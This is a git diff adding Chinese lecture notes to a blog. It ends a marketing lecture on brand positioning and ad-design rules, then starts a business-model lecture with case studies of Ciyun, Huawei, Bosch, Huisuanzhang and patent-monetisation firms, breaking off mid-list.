+哈尔滨啤酒的广告语说，我们是历史最悠久的啤酒。这个描述我认为不是很合适。品牌应该能够真实地反映出你是谁，但一定要是好的那一面。历史最悠久的啤酒显然不是一个很好的说法。 + +想象一下。如果以“中国历史最悠久的啤酒”做广告词，广告该是什么呢？一位老人回到他长大的地方，童年住的房子还在那里，但是屋顶都快要塌了。老人走进门，屋内满是灰尘和蜘蛛网。他走到厨房拉开老旧的橱柜，里面居然还有一瓶哈尔滨啤酒。 +看了这个广告的人会有什么感觉呢？一定不会觉得这瓶酒好喝吧！反正我是没有任何兴趣。声称自己的啤酒比其他品牌的啤酒更老，就好像说自己的女朋友比别人的女朋友更老，怪怪的。 + +那该怎么办？我们来分析一下，哈尔滨啤酒来自东北，东北给人的感觉是，那里的男人更爷们，体型更魁梧，更容易喝醉。所以，哈啤应该叫自己是**“真男人的啤酒”**。一旦有了这个定位，真男人啤酒就会传达出很多信息，比如它的酒精含量应该比青岛啤酒高一些，瓶子也应该更方一些，瓶口更大一些。哈啤的广告代言人就应该请身材更魁梧，长相更爷们的男模特，配上非常非常非常漂亮的美女模特，这才是真男人的广告。 + +当一个品牌能够用一句话描述清楚的时候，它就可以成为一个强大的品牌，就可以“独立山头”。 + +中国广告法禁止在广告中提及竞争对手，但只要你的品牌定位足够精准，你即使不提对手，也是在提对手。比如哈啤是真男人的啤酒，言下之意，青岛啤酒就不是真男人的啤酒。过了几年，你去街上采访路人，问哪个啤酒是给小姑娘喝的啤酒？青岛啤酒就一定被排除在外了。这就是品牌的力量。 + +因此，当你能用一句话描述你是谁的时候，你就能成为一个强大的品牌。之后要做的就是，坚定地做自己，保持品牌的传承。 + +![](/uploads/2018/11/06-13.jpeg) + +**四、促销广告的准则** + +**4.1不需要解释** + +好的广告应该是不需要解释就能看懂的，否则就是失败的！ + +下图的广告语是“追踪一个包裹不应该比追踪一个人更容易”，画面的中央有一只狗（据说做这个广告的公司还曾开会讨论过要不要放这只狗），远处是一些建筑物。这个广告看起来简直是个售卖哈萨克斯坦房子的广告。反正我是完全看不懂这则广告要表达的意思。你们知道这个广告是哪家公司的广告吗？ + +![](/uploads/2018/11/06-14.jpeg) + +好吧，让我来给大家揭晓答案。这是一则摩托罗拉卫星电话（铱星手机）的广告。很不可思议吧？ + +这则广告是我翻阅杂志的时候看到的，刚好当时我有在摩托罗拉公司内部的培训课程，我在给摩托罗拉员工授课的时候，拿着这则广告给学员们看。我走了一圈，没有人知道这是什么广告，还是最后负责这个项目的人员站起来说这是他们的广告。 +后来，摩托罗拉的管理者专门向我解释这则广告的含义。他们说，现在我们寄快递，只要输入单号，就可以查询快递到了哪里了，但是你却无法定位一个人到底在哪，对吧，因为很多地方没有信号塔，没有基站，你拿着普通手机是没法和任何人取得联系的。但是，只要你拥有铱星手机，你就可以在任何地方打通电话取得联系，因为铱星手机是直接通过卫星来传输讯号的。 + +所以，“追踪一个包裹不应该比追踪一个人更容易”这句话就是这么来的。听完这长长的解释，感觉还有点道理，但问题是普通人根本看不懂啊！这可是一个需要把卫星送到太空的60亿美元的项目，居然耗资1.5亿美元做了这样一则谁都看不懂的广告，多么可笑的一件事。 + +很多技术型公司跟摩托罗拉一样不懂如何做广告。如果你不懂如何做广告，广告公司就可以肆意发挥，因为广告公司需要赢得那些所谓的广告大奖，他们需要把广告做的很另类。很多技术型公司一看到广告公司为他们准备的炫酷的PPT，就拍案叫好。他们根本不去想，广告是否能起作用。 + +下面一则广告上说的是“现在你再也不必为等到下班回家才能google而犯愁了”。画面中有一部手机，手机屏幕上有一个google的标志。大家只看这个广告，知道这是哪家公司做的吗？谷歌吗？ + +![](/uploads/2018/11/06-15.jpeg) + +实际上，这是LG公司的广告。你们努力去看右下角那个小小的红色标志，那是LG！尽管他们花了很多钱做这则广告，但消费者看到的却只有Google。当你快速翻阅杂志的时候，你首先看到的是Google，谁会注意到右下角那小小的LG标志呢？ + +到底如何评测广告的好坏呢？不要去问广告公司，广告公司的人口才都很好，五个人手舞足蹈地跟你解释，夸得天花乱坠，把你都能说得感动哭了。拿到广告方案后，你应该第一时间给路人看看，问问他们的感受。 + +就像摩托罗拉依星手机的广告，没准路人看完的反应可能是，哦，这是哈萨克斯坦的房子吧？给我也来一套！ + +只有问了路人，才会知道广告好不好。那么，对几个人调研比较合适呢？我认为，三个人足以。如果三个人都看不懂的话，这个广告就是失败的。 + +![](/uploads/2018/11/06-16.jpeg) + +很遗憾的是，在中国大约99%的广告都没有经历过这样的测试。所以，公司做广告的时候，要同时做三个以上不同的方案，这样才有选择性。我听说为美国麦当劳做广告的广告公司有54家，这让麦当劳有了54个选择。如果只用一家广告公司，就太愚蠢了。 + +下面两则广告，如果只允许你迅速过一眼，你能知道这两则广告的卖的是什么吗？  + +![](/uploads/2018/11/06-17.jpeg) + +![](/uploads/2018/11/06-18.jpeg) + +事实上，只需要0.25秒就能看懂。第一个是iphone6，第二个是麦当劳。这是两个顶级品牌的广告，不需要太多文字表达，就能让你知道，他们是谁、卖的是什么。总的来说就是一句话，好的广告不需要解释。 + +**4.2** **先介绍自己** + +如果不是顶级品牌，而是一个新的品牌、新的公司，大家不认识你，规则就会发生变化。你就需要在广告中放入大量的文字，让人们先了解你。 + +![](/uploads/2018/11/06-19.jpeg) + +很多初创公司也想把广告做得像可口可乐、万宝路、iPhone那样简单，这是很危险的。如果你不是顶级品牌，就要努力告诉人们你是谁，你的产品是什么，你有什么卖点。**因此，顶级品牌要尽量保持人们的既有行为，其他品牌要努力改变消费者的行为习惯。** + +**4.3** **具备故事性** + +印刷广告需要大标题吸引观看者继续读下去。广告的第一句话尤其重要，要有故事性，有悬念设计。广告史上，最成功的广告标题创作于一家通过邮件售卖钢琴课的公司。广告的标题写着“当我坐下来弹钢琴时，每个人都准备好要笑话我”。是不是很有悬念？是不是你会想接着看看下面发生了什么？ + +![](/uploads/2018/11/06-20.jpeg) + +还有一则广告，第一句问“我是如何偷走一百万美元而没被抓住的？”。接着就开始讲为什么没被抓住。故事的最后这个人坐在游泳池旁一边庆祝一边喝酒，并且说道“这是胜利者的酒”，然后开始讲这个酒有多好。 + +大家会发现，这个广告的第一句话和产品没有一点联系，它只是把你吸引到这个故事中，这就是它的目的。 + +**4.4** **全方位传达** + +我们知道，很多人在看电视的时候，会把音量关掉，怕吵到家人；还有人边玩手机边看电视；或者有的人在看足球比赛时，到了中场休息，广告开始了，就会去厨房拿几瓶啤酒，离开电视机。我要讲的是，实际生活中，人们并不会按照你最初设想的方式看广告，要么没有声音，要么没有画面。而我们要做的是，确保关掉声音，只剩下画面，或者只听声音，广告仍然能够向人们传达有价值的信息。 + +另外一种情况是，大多数人并不会看完整个广告，只会看广告的前一两秒。所以，关键的信息要尽量在第一秒传递出去，并且能够给人留下深刻的印象。比如，平安保险公司为人寿险做广告的时候，可以说“我们是平安保险，会为你省钱”。这一句话就够了，因为它已经传达了最核心的内容。 + +如果你的品牌默默无闻，也不用担心，一秒时间也够了。但你要确保这一秒的内容足够吸引人，让人们有继续看下去的欲望。前段时间，我看了二三十则广告，只有一两则广告在两三秒过后让我知道他们卖的是什么，大多数广告都在浪费钱。 + +中国有一家优秀的营销咨询公司，华与华。他们测试广告的方法非常有趣。第一种，鸟测试法。想象观看者作为一只鸟迅速飞过这个广告，是否能够获得有效的信息。第二种测试方法是，把广告撕下来一部分，或者挡住2/3，看是否还能传递信息。 + +![](/uploads/2018/11/06-21.jpeg) + +**所以，视频广告要能够确保在媒介缺失，物料破损、时间短暂等不完整的情况，仍然能够传递重要的信息。但很遗憾的是，现在90%-95%的广告都无法做到。** + +**综上所述，总结一下促销广告的准则有如下4点：** + +**（1）不需要解释。**广告的及格标准是不需要解释。当一个广告需要解释才能看懂的时候，那只是感动了自己，也是欺骗了自己。 +**（2）先介绍自己。**新公司需要让别人先认识你，知道你是做什么的。 +**（3）具备故事性。**好的广告应当像讲故事一样，让人愿意读，愿意看。无论是悬念设置，还是情节设计，归根结底是找到引人入胜的套路。 +**（4）全方位传达。**广告的本质是传递信息。好的广告应当能够在媒介缺失、时长短暂、物料破损等不完整的情况下，仍然能够传递有价值的信息。 + +**提问环节** + +**问题1：**传统厂商如何让品牌年轻化? + +**柏唯良：**记住我所讲过的产品创造品牌。基于这一点，你需要能拿出一个极端的、有特色的产品。拿大众汽车来说，大众捷达是一款非常老旧的车型，销量平平。后来大众推出了甲壳虫汽车（非常酷的一款车型）之后，捷达车的销量居然也跟着增加了46%。甲壳虫这个极端的、独特的产品让捷达如获新生。所以，**要想促进品牌年轻化，就要有引领潮流的颠覆性产品，用这样的产品让你的品牌焕发生机。** + +**问题2：**初创公司如何做广告？ + +**柏唯良：初创公司做不了广告。** + +因为初创公司的广告根本没人关注，所以初创公司必须靠产品推动其品牌的成长。当你设计新产品或的时候，一定要足够独特和新颖，要走在前沿。要记住，如果产品本身不能成为热点话题，不能自我推销，那广告和促销也是不会有用的。因为我们正处在一个注意力缺失的世界中，这个世界有太多的噪音，你的广告会淹没其中。 + +**问题3：**在您的《细节营销》书中写道，市场营销做得越好，客户满意度越不重要，如何理解这句话呢？ + +**柏唯良：**实际上，你误解我了，我说这句话是为了讽刺微软。 +当你垄断了市场，顾客会成为你的囚徒，他们离不开你。就像微软一样，他们垄断了市场，只有自己是自己的竞争对手，这时候顾客满意度就没那么重要了。因为如果顾客感到非常满意，就不会买下一代的软件。所以，微软在推出每一款产品时，总会好像刻意留了几个顾客感到不满意的地方似的，这样一来，他们就会期待下一代产品。然后再下一代产品中又会有几个明显的问题需要再下一代产品来解决。 + +但严肃的讲，顾客总有一天会受够微软的折磨，一旦顾客有替代品的选择，这些用户就会转向竞争对手那里。就像微软的用户转向苹果，这些用户再也不会回来。 + +所以，我真实的观点是顾客满意度一直都很重要。即使你认为自己已经成为了市场的垄断者，也不要玩弄你的顾客。 + +**最后送给大家一句话：永保谦卑才能基业长青。** + diff --git a/_posts/2018-11-07-313-syms01.md b/_posts/2018-11-07-313-syms01.md new file mode 100644 index 0000000..9132fd8 --- /dev/null +++ b/_posts/2018-11-07-313-syms01.md @@ -0,0 +1,262 @@ +--- +layout: post +title: 【商业模式模块】 第1节 商业模式理论与实践（上） +pid: 313 +tags: [mba] +--- + +商业模式理论与实践（上） + +引言 + +商业模式与企业管理其他学科相比，相对复杂。希望大家在听课时保持好奇心、发挥包括性，同时以一种空杯的心态吸纳新知。 + +2007年，我与清华大学经管学院朱武祥教授联手推出“魏朱商业模式六要素”模型，该模型并没有涉及战略、营销、运营、财务等其他学科的内容，而是一个完整、系统、独立的商业模式体系。我和朱教授以“发现商业智慧”作为座右铭，我们认为智慧来源于企业，来源于在座的每一位学员，我们作为学者，应该将这些智慧总结、归纳、提炼出一些理论工具和方法，并将其传播开来，应用于各位实际工作与生活中。 + +那么，到底什么是商业模式？商业模式如何被设计？那些优秀公司到底运用怎样的商业模式实现利益最大化？本讲将为您指点迷津。 + +一、独角兽企业 + +1.1 独角兽企业的繁荣原因 + +独角兽企业指稀缺珍贵、具有发展速度快、投资者竞相追求等属性的创业企业。主要有三个特点，第一，成立时间不超过10年。第二，获得过私募投资，且尚未上市。第三，企业估值超过10亿美元，超百亿美元称为超级独角兽。2007年全球独角兽企业中，中国共有35家上榜。在过去几年间，中国号称产生了160多家独角兽企业，与美国不相上下。 + +![](/uploads/2018/11/07-01.png) + +注：小米、搜狗、融360等企业已经上市，将退出2018年独角兽榜单。 + +对于《财富杂志》世界500强企业，从创业公司变成一个独角兽平均需要20年；Google，需要8年；WhatsAPP，缩短为3年；Snapchat，Groupon，仅需1到1.5年就达到10亿美元。 + +这些独角兽诞生主要有三个原因。第一，这些公司都诞生在一个新的市场。第二，这些公司可能都采用了一些新的技术。第三，这些公司（大多数）都有独特的商业模式。前两个原因在工业化时期也依旧存在，都是在市场技术已经很成熟的情况下成为独角兽，横空出世，例如拼多多、唯品会。所以，独角兽诞生的原因在于差异化的商业模式使公司得以迅速成长。 + +1.2 独角兽企业的诞生与商业模式——以磁云为例 + +前京东CTO李大学创立的磁云科技是一家以区块链为核心的科技金融公司。在创立之初，李大学曾说：“准备在两年之内建设100个B2B产业互联网公司，每个公司以几百亿、几千亿估值为目标。” + +磁云科技创立最初选择行业标准有四个。第一，市场容量足够大，至少上万亿规模。第二，这个行业贯穿产业链上游到下游，中间有无数小型客户端，例如便利店、超市、餐厅中间就有很多环节。第三，行业市场集中度低，即每个环节都是小公司第四，这些公司产业链上用计算机管理业务程度低。 + +创立一年后，磁云科技已经注册成立了40余家公司，其中有将近20家估值超过10亿元，有一家已经接近100亿元。 + +1.2.1 冻品会案例 + +“冻品汇”是国内领先的速冻食品供应链整合服务平台。速冻产业链有无数环节，每一个环节约有10个中间环节，市场容量近万亿，而且都是小公司，每一个公司都很少用计算机来处理自己的业务。综上，满足李大学遴选企业的条件。 + +![](/uploads/2018/11/07-02.png) + +冻品会通过搭建B2B平台，免去中间环节，先拉拢一集供应商，再找各个城市合伙人，吸引小型餐厅、便利店的用户，为他们提供公共的基础设施服务、交易及资金支持。京东建设这样一个系统用了5000多人，花了十年持续运营。但是冻品会建设者一套系统仅用了20多人，2个月时间来运作。 +![](/uploads/2018/11/07-03.png) + +注：该图方框、圆圈表示不同类型的企业，菱形表示企业交易的物品 + +1.2.2 齐采网案例 + +齐采网整合上游供应商、服务商资源，为产业链下游中小企业提供账期服务、平台交易担保、品质交易、统一开票服务。主要为企业提供五种赋能。第一，模式赋能。为产业互联网平台这种商业模式赋能。第二，技术赋能，提供技术平台。第三，大数据赋能。第四，人力资源赋能。传统企业缺乏互联网人才，而李大学认识很多互联网的人才，将他们匹配给合适的企业。第五，金融赋能。 + +![](/uploads/2018/11/07-04.png) + +中国产业链环节众多，有些人认为压缩中间环节就有利可图，其实不然，由于我国金融市场不发达，金融机构不愿意贷款给管理不规范的企业，所以中国产业链每一个环节都需要分销商、经销商垫资，这个产业要想运转、高速增长需要资金支持，于是诞生很多以经销商、分销商的名义融资的小型企业。齐采网正是将金融支持作为重要内容，为企业提供融资。 + +1.2.3 爱便利案例 + +爱便利拥有领先的网上订货平台，从厂到店的扁平化供应链，商家通过爱便利集采配送，服务网站一键订货，直接从生产厂家进货，大幅降低进货成本。同时，爱便利给商家开发APP进行技术赋能，让这些商家为用户提供更优质的服务。 + +![](/uploads/2018/11/07-05.png) + +1.2.4 唯修汇案例 + +唯修汇通过上游与B端厂商以及厂商的加盟维修店合作，来获取需要维修电器的用户，下游通过平台上的兼职维修人员完成修理工作。唯修汇作为国内领先的互联网+售后服务平台，将家电厂商与当地维修服务公司、维修师傅连接，建立即需即供的交易关系，互利互惠。 + +![](/uploads/2018/11/07-06.png) + +1.2.5 卡车后市场案例 + +卡车后市场模式，即通过搭建技术平台，建立全国最大的维修联盟，进行规模扩张、连锁化发展，实行全国联保，并为企业提供融资、保险等附加值服务。 + +![](/uploads/2018/11/07-07.png) + +从2017年底到如今，磁云科技开始运用区块链技术，改造传统产业的基础设施，以区块链金融作为切入点，企业蓬勃发展。目前磁云版图共有40多家企业，创始人李大学只专注于其中10家企业，另外12家企业与上市公司合作，其他企业则与产业链中优秀团队合作、组成产业互联网公司来改造这个产业。当然，还有一些配套技术公司，如区块链相关企业，来帮助产业互联网平台做的更好。 + +二、商业模式被广泛关注 + +放眼中外，商业模式在近些年备受关注。2016年8月，美国《纽约时报》发表文章称：“中国抄袭美国这种说法好多年前就过时了，在移动领域恰恰是美国常常抄袭中国的商业模式。”2017年，英国《金融时报》刊文也称，如果说：“原来是中国在模仿硅谷，那么现在则是硅谷在模仿中国，包括共享单车、二维码、新零售等方面。” + +由此可见，中国和西方均十分看重企业的商业模式。通用电气（GE）2013年对25个国家3100为企业高管的调查发现：52%的受访者认为创新商业模式是一个公司发展的最大动因,比2012年提高6个百分点;62%的中国受访者认为商业模式创新是推动一个企业发展的有效途径,比全球平均水平高8%。由此可见，中国企业比国外企业更加认识到商业模式的重要性。 + +商业模式这个概念最早被广泛应用于风险投资行业。著名风险投资公司，高原资本创始人兼董事合伙人鲍勃·希金斯说：“**回顾我们公司的发展，我认为我们的每次失败都归于技术，每次成功都归于新商业模式**。” + +中国著名风险投资家，红杉资本创始人，曾投中将近20家中国在纳斯达克上市企业的沈南鹏说：“我投中的十几家企业，没有一家以技术创新闻名，而全部是以商业模式创新著称。” + +中央政府在企业支持商业模式创新上颁布以下举措： + +在2013年中央经济工作会议将商业模式创新与技术创新并列； + +在十八届三中全会首提商业模式创新； + +2015年９月２９号国务院：支持商业模式创新； + +2016年３月国家知识产权局，启动加强新商业模式专有权保护法规研究工作； + +2017年4月1号，商业模式可以申请专利。 + +众所周知，中国专利以数量而不是质量取胜，而如果我们从商业模式角度去思考企业技术专利时，就有可能大幅度提高专利质量。商业模式申请专利范围很宽泛。例如，智能停车系统的研发与推广公司小猫停车，可以申请超过20个专利。 + + +三、商业模式创新，任重而道远 + +3.1 商业模式创新困境 + +商业模式至关重要，但是当一个公司真的想通过它来增加竞争优势，会发现困难重重。主要有三个原因： + +第一，缺乏定义，即理论界与实践界缺乏对商业模式定义的共识。2013年，我和朱武祥教授与沃顿商学院教授拉斐尔·阿米特共同发起“全球商业模式圆桌论坛”，每年会邀请国际上的企业和学者来探讨商业模式。第一届论坛，哈佛商学院专门教授商业模式课程的雷蒙教授，战略课程先发优势提出者均受邀参加。2017年9月，德国慕尼黑商业模式论坛，以“大公司如何做颠覆性的商业模式创新和设计”为主题，IBM、博世集团、西门子均委派副总裁一级员工来参加，中国则邀请刚从新希望离任的陈春花老师代表企业界。 + +第二，每个企业均是凭借感觉、个人认知来定义商业模式。例如，海尔首席执行官张瑞敏对商业模式的认知逐步精进。 + +2009年，他认为商业模式创新就是实现零库存下的即需即供。2012年11月，他将商业模式和管理模式合二为一。2013年7月，海尔在青岛也举办了首届商业模式创新论坛，海尔将自身商业模式命名为：平台组织下的自主经营体并联平台。2014年5月，张瑞敏邀请最早提出平台理论的两位美国经济学家来去交流，想将海尔从一个完全传统的科层制、金字塔似的企业转型为多边平台型的企业。2015年4月，提出商业模式是生态圈内的每个利益相关方的利益最大化。生态圈是实现共创——共同创造用户价值，共享——大家都得到利益，共治——共同来解决问题，谋求共同发展。2017年，海尔正式将商业模式命名为“人单合一”，并创立同名论坛，开始传播自己的商业模式。由此可见，张瑞敏对商业模式的理解随时间而变化。“人单合一”是张瑞敏围绕对商业模式生态圈的共治、共创、共享概念再实践的过程。 + +第三，所有的专家、企业都认为商业模式对企业发展很重要，但是鲜有企业愿意通过内部培训，聘请外部咨询公司，组织科研团队研究，去别的企业参观、学习来进行商业模式探索。 + + +3.2 华为 —— 商业模式部定位与探索 + +中国人学东西，就像一阵风，任何一个理论和方法都不会超过2年，例如蓝海战略、流程再造、学习型组织、执行力等。然而，任时光荏苒，市场风云变幻，商业模式这个概念却十几年不跌落神坛。 + +华为在2003年成立专门研究商业模式的部门，主要有两个定位。定位一：负责贩卖华为的滞销产品。华为曾在1998年聘请IBM做产品集成开发项目（IPD），号称花费5000万美金，主要解决两个问题。第一，将公司生产运营销售体系和研发体系合二为一，形成无缝的整体。第二，将产品研发、立项、生产、销售与顾客需求结合，解决顾客需求与产品生产信息不对称性问题。 + +定位二：为产品设定商业模式，帮助产品市场定位与销售，同时将商业模式变现。例如，华为爆款排队机，生产成本1元，定价5元，毛利率很高。但是，有些顾客使用5元的华为产品进行再创造，转身净赚100元。在战略上讲，就是顾客选择的行业比企业的更好。其实，企业可以通过一体化战略，也去从事顾客干的行业。矛盾的是，顾客并不高兴企业和他竞争，会采取措施。最后，企业发现，还是知足常乐比较好。但是，好的商业模式却可以帮助企业实现逆袭。 + +华为商业模式部门共有60位全职员工，从2003年到2011年，工资、奖金、福利共计2亿元，但是这个部门依然在研究部门、职能部门、业务部门三者之间摇摆不定。2011年，华为商业模式部改名商业咨询部。但是，华为成立商业咨询部不是为了做传统咨询项目，而是为了帮助客户设计商业模式，然后再卖产品给他。这个想法让我醍醐灌顶，深感认同。 + +3.3 咨询公司 —— 全世界最糟糕的商业模式 + +我个人认为传统战略咨询公司的商业模式，是全世界最差的。首先，不管是国际著名咨询公司，还是国内著名咨询公司，它的每一个员工，从最高级合伙人到新进员工，都非常优秀，这样才能搞定甲方。第二，这些员工很勤奋，白天访谈，晚上整理资料，周末讨论做PPT，全年无休。麦肯锡，全球咨询公司龙头，营业额约80亿美元，离世界500强还有一定距离。而中国管理咨询公司，营业额能达到3亿元人民币，就可以称霸行业，而3亿人民币这个数字，十年未变。 + +注：《财富》杂志发布2018年“世界500强企业”名单，爱尔兰著名咨询公司，埃森哲连续16年上榜,位列第305名。 + +所以，一群聪明又勤奋的人，在一家永远做不大的企业工作，而且利润微薄，这一定不是一个好模式。 + +3.4 博世集团 —— 商业模式部 使命 + +博世集团商业模式部由CEO直属领导，12位全职员工全部是博士、研究生，公司给他们定了三个使命： + +第一，与全世界研究商业模式的专家、学者建立联系，大家一起交流。第二，与全世界研究模式的专家、学者合作，开发出一些工具、产品用于博世集团的商业模式创新。第三，把这些工具、方法培训给企业内部的各个业务单元，让员工用这些工具去实现商业模式创新。另外，这个部门也可以做一些商业模式内部的咨询。 + +博世商业模式部的三个使命和华为完全不一样，华为的做法是问题导向型。但是华为对于该部门的职能到底是研究问题，还是辅助部门解决问题，亦或解决业务部门的问题，一直模糊不清。而博世集团商业模式部是以组织能力建设为导向，这源于他们CEO邓纳尔的理念，他认为：“博世集团的产品技术能力是世界最优秀的，但是其商业模式创新能力薄弱，他希望以商业模式这个部门提高整个博世集团的商业模式创新能力，让商业模式创新和技术创新一样出色。” + +虽然商业模式总给人投机取巧的感觉，花小利赚大钱，但是即使在德国，一个以工匠精神、严谨著称的国度，也是如此重要。所以，我国企业更要在实践中建立自信，更要支持商业模式创新研究。 + +四、什么是商业模式？ + +4.1 商业模式定义 + +**商业模式是企业为了最大化价值而构建的从事业务活动的利益相关者的交易结构。**商业模式为企业的各种利益相关者，提供了一个将各方交易活动相互联结的纽带。商业模式是将这些利益主体聚合，给他们安排一个角色，然后各个角色间互相有交易关系，大家一起来创造和获取价值。 + +但是你会发现，依照这个定义，任何一个企业都有商业模式。但是过往一百多年，企业经营理论很少提到交易结构，但是如今交易结构却很重要，这是因为在工业化时代之前，公司商业模式一旦确定，就会保持稳定，持续二三十年不变，即使改变也是重构。而现在，随着技术进步、行业竞争激烈、社会环境变化增加了不确定性，一家公司的商业模式确立之后，不到三年就要改变，有些甚至一年都要改变两次，导致一家公司只用一种交易结构已经骑虎难下。所以，企业需要不断改变商业模式来适应市场的风云变幻。 + +**商业模式很大程度上决定企业价值创造能力。**企业的价值是假定企业持续经营，有现金流入与现金流出，现金流入减现金流出，剩下的为净现金流量，每年有可能为负现金流或正现金流，每年的净现金流量，按照一定的贴现率贴现到今天相加，就叫做企业价值。由此可见，企业价值就是一个公司未来能够净挣多少钱，而商业模式决定了企业的赚钱能力。 + +商业模式不但关注内部利益相关者，而且关注外部利益相关者，还关注介于前面两者之间的类内部利益相关者。利益相关者分为三类： + +**第一，内部利益相关者**，包括业务单元、员工、管理团队、投资人。 +**第二，外部利益相关者**，包括企业的顾客、合作伙伴。 +**第三，类内部利益相关者**，即与企业有一定股权或者合约关系，不是通过市场交易来获得既得利益的相关方。例如，如果企业与当地政府有交易关系，企业招募志愿者等等。利益主体包括个人、家庭、盈利性公司、非政府组织，政治组织甚至宗教组织。 + +![](/uploads/2018/11/07-08.png) + +当企业与利益相关者在一起持续交易，会有总产出，即交易价值。价值空间=交易价值-交易成本。同一组利益相关者，大家在以不同的交易结构进行交易时，产生的总收入、总交易成本不一样，这两者的差额叫价值空间。价值增值=价值空间-货币成本（利益相关者）-货币成本（焦点企业）。货币成本，即原料、产成品、服务、数据信息的成本，在会计上对应产品服务的直接成本，货币成本对应企业内部财务核算里的直接成本。也就是说，价值增值等于企业所有交易的利益相关方的剩余之和。综上，商业模式是解决投入与产出效率问题的，是结构效率。 + +另外，价值增值还受三个因素影响。第一，商业模式的选择。第二，战略选择，意味着企业提供哪类产品，选择哪类商业模式。不同的商业模式提供的产品各不一样，决定了企业交易价值的高低。例如，同样的模式去生产汽车、飞机与做罐装食品的交易价值不一样。因此，商业模式与战略乘积决定企业价值增值。第三，管理能力，决定企业交易的内容，即产品服务的成本及性能。 + +商业模式和战略的变化会为企业的价值增值带来指数级变化，能为企业带来2倍、5倍甚至10倍持续的增值，而企业的货币成本，即企业管理能力的提升对企业价值产生线性影响，最多能为企业提升10%-20%。 + +![](/uploads/2018/11/07-09.png) + +4.2 慧算账案例 + +慧算账是代理记账报税一体化的财税服务平台，其创始人深谙商业模式理论与概念，这个企业在创立过程中走过很多弯路，最后获得成功，而它正是用商业模式理论来指导企业实践的典范。慧算账商业模式探索主要分为三个阶段。 + +4.2.1 第一阶段 + +第一阶段，其创始人张述刚看到中国有7000多万的纳税人，有100多万的税务人员为这些纳税人提供公共服务，但这两类人之存在交流不通畅问题，导致效率较低。于是，他决定创立一个平台，为这两类人形成有效的沟通。按照交易结构分析，这两者为两个利益相关方，而慧算账作为焦点企业，成立微税，通过搭建平台将它们连接起来。 + +![](/uploads/2018/11/07-10.png) + +微税平台共有7000万纳税人，100多万税务人员，市场增值空间巨大。于是，联通对它进行投资。税务人员、纳税人开户免费，但是如果要享受服务需要付费，纳税人可选择每月20元的联通套餐，与税务机关、税务人员进行长期并持续地沟通，如果不使用套餐，则需花费数百元。另外，纳税人还可享受培训、人力资源供给、税务咨询等增值服务。 + +![](/uploads/2018/11/07-11.png) + +这个商业模式看似成功，但很遗憾失败了，因为税务机关的税务人员有自身需求，平台所提供的服务远远不够，而纳税的人发现虽然花费很少，但是没有解决太大问题，仅仅解决了一些没有价值的痛点。因此，微税平台在推广过程中遇到很多问题，最后项目失败。 + +4.2.2 第二阶段 + +第二阶段，创始人决定不以7000万纳税人为目标客户，而仅仅为7000万人里面的小微企业提供服务。小微企业的痛点是他们需要依靠代账公司，而慧算账可以提供一个软件、设计交易结构，让这些代账公司为小微企业服务。而当小微企业使用这个软件后，企业就可以为他们提供各种各样的增值服务。 + +代账公司大多为家庭型的公司，规模不大，而主要收入都来源于为小微企业提供的服务，10年时间约有100个客户，这些企业并不扩大规模，因为扩大的话，公司的会计又会自己成立一个小公司去做代账服务了，得不偿失。所以，代账公司这10年、20年，基本都是依靠人脉积累客户。如果这时，一个企业为这些公司提供一个软件，让其通过互联网增加新的客户，也许会有商机。但是企业一旦在平台上记账，这些客户仅仅使用软件就足够了，不会和慧算账建立长久联系。于是，慧算账2.0计划失败。 + +![](/uploads/2018/11/07-12.png) + +4.2.3 第三阶段 + +第三阶段，慧算账发现每个记账公司都有各自需求，于是想按照客户要求开发这套平台、应用软件，他们发现这些记账公司都没有销售人员，每积累100至200个客户大概需要10年时间。但是，如果增加了销售人员之后，半年就可以积累200个客户，然后按照客户需求开发软件就可以事半功倍。 + +于是，慧算账成立很多直营记账公司，委派销售人员打电话、地推，迅速打开市场。等到市场形成一定规模、系统稳定后开放加盟，因为记账公司已经不用通过慧算账积累客户。此时，慧算账开发客户服务功能，为企业提供增值服务，降低成本，提高效率。自2016年至今，慧算账已经积累将近40万企业客户，每个月增加2、3万家，在全国200多个城市有400多个直营和加盟的合作伙伴，为客户提供记账、报税及和税务有关的一切行政法律相关服务，成为全球最大记账公司及准独角兽。 + +![](/uploads/2018/11/07-13.png) + +此案例按照交易结构设计的思路来去运作创业公司，并根据相关利益者需求、资源能力，不断试错，不断调整商业模式选择，最终探索出符合企业实际情况的商业模式。 + +![](/uploads/2018/11/07-14.png) + +若想了解慧算账商业模式详细情况，请大家参考30氪文章http://36kr.com/p/5037477.html + +五、商业模式的作用 + +商业模式共有六个作用，在这里主要讲述第一个作用，即商业模式将资源、能力、机会，如产品、技术、需求、资产等潜在价值转化成商业价值并进行变现。 + +![](/uploads/2018/11/07-15.png) + +5.1 商业模式变现 —— 以专利流氓公司为例 + +每一个利益主体，个人、家庭、企业、非盈利组织、政治组织，宗教组织，都有各自的资源、能力、需求，企业要做的就是将这些资源能力、需求机会变现。 + +我曾去硅谷参观过很多公司，其中有一家将知识产权变现的公司给我印象深刻。这家公司不生产产品，而是通过获取专利获得收入，俗称“专利流氓公司”。这家公司2000年成立，是一个规模为50亿美金的基金，投资方包括美国大学的基金，苹果、IBM、英特尔、戴尔、惠普等知名企业。 + +5.1.1 获取专利方法 + +专利流氓公司共有3种获取专利的方法。第一，到全世界去寻找并购买在未来5-10年会有巨大市场机会的专利。 + +第二，雇佣科学家研发专利，这家公司雇佣几百个科学家研发专利，并委派顾问去和这些科学家探讨哪些东西可以研发出来申请专利，然后一起赚钱。例如，找法律、投行等从业者进行专利设计。在双方达成一致后，这个公司会给这位科学家5-25万美元的资助，这位科学家可以拿着资金开始研究，在研究出成果以后，申请专利双方共同拥有这个专利的产权。专利流氓公司通过这种方式拥有了海量专利，于是可以开始向其他公司收取专利费。 + +腾讯无法在美国拓展市场主要有两个原因。第一，政治原因。第二，商业模式原因。腾讯无法将社交软件拓展到美国市场的原因在于专利流氓公司拥有专利权，可以向腾讯收取专利费，小米也如是。 + +这家专利流氓公司初始基金为50亿美元，分为3个子基金，投资期限20年，而仅仅经过十几年，这家公司就连本带利还清投资人资金，资本回报率17.8%，可见这家公司赚钱能力较强。 + +5.1.2 变现方法 + +专利流氓公司共有6种专利变现方法。第一，授权。像高通一样，向公司授权使用技术，每个手机收6%的授权费。 + +第二，和创业公司合作。创业公司出人、出创意，专利流氓公司出专利，初创企业拿着专利去找风险投资公司融资。最后专利流氓公司通过股权升值将专利变现。 + +第三，出售。 + 